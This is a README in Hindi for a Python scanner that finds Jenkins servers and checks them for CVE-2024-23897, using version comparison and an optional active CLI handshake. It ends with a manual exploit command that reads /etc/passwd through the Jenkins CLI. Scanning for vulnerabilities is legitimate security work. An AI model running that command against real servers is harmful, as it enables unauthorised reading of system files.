jenkins_scan

जेनकिंस वातावरण खोजें और CVE-2024-23897 की जाँच करें

यह कैसे काम करता है

जेनकिंस का पता लगाना

पथों का परीक्षण: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json

इसके माध्यम से पहचानता है:

1. Header X-Jenkins — अधिक विश्वसनीय, संस्करण भी लौटाता है
2. Header X-Hudson — पुराने उदाहरण
3. Body HTML — स्ट्रिंग्स जैसे "login to jenkins", "hudson.model", आदि।
4. /api/json — JSON संरचना (_class, jobs, views) से पुष्टि करता है

CVE-2024-23897 की जाँच

निष्क्रिय (डिफ़ॉल्ट): पता लगाए गए संस्करण की thresholds से तुलना करता है:

• Weekly: < 2.442 → असुरक्षित
• LTS: < 2.426.3 → असुरक्षित

सक्रिय (--active): HTTP पर Jenkins CLI के बाइनरी प्रोटोकॉल का हैंडशेक भेजता है। यदि सर्वर 200 + Content-Type: application/octet-stream के साथ प्रतिक्रिया करता है, तो यह पुष्टि करता है कि CLI चैनल खुला है और exploit लागू है।

उपयोग

बुनियादी स्कैन

python jenkins_scan.py -f urls.txt

सक्रिय प्रोब + Burp प्रॉक्सी के रूप में + फ़ाइल में आउटपुट

python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt

20 थ्रेड, वर्बोज़, बिना रंग (pipe/grep के लिए)

python jenkins_scan.py -f urls.txt -t 20 -v --no-color

असुरक्षित लक्ष्य पर मैन्युअल रूप से exploit की पुष्टि करें

java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"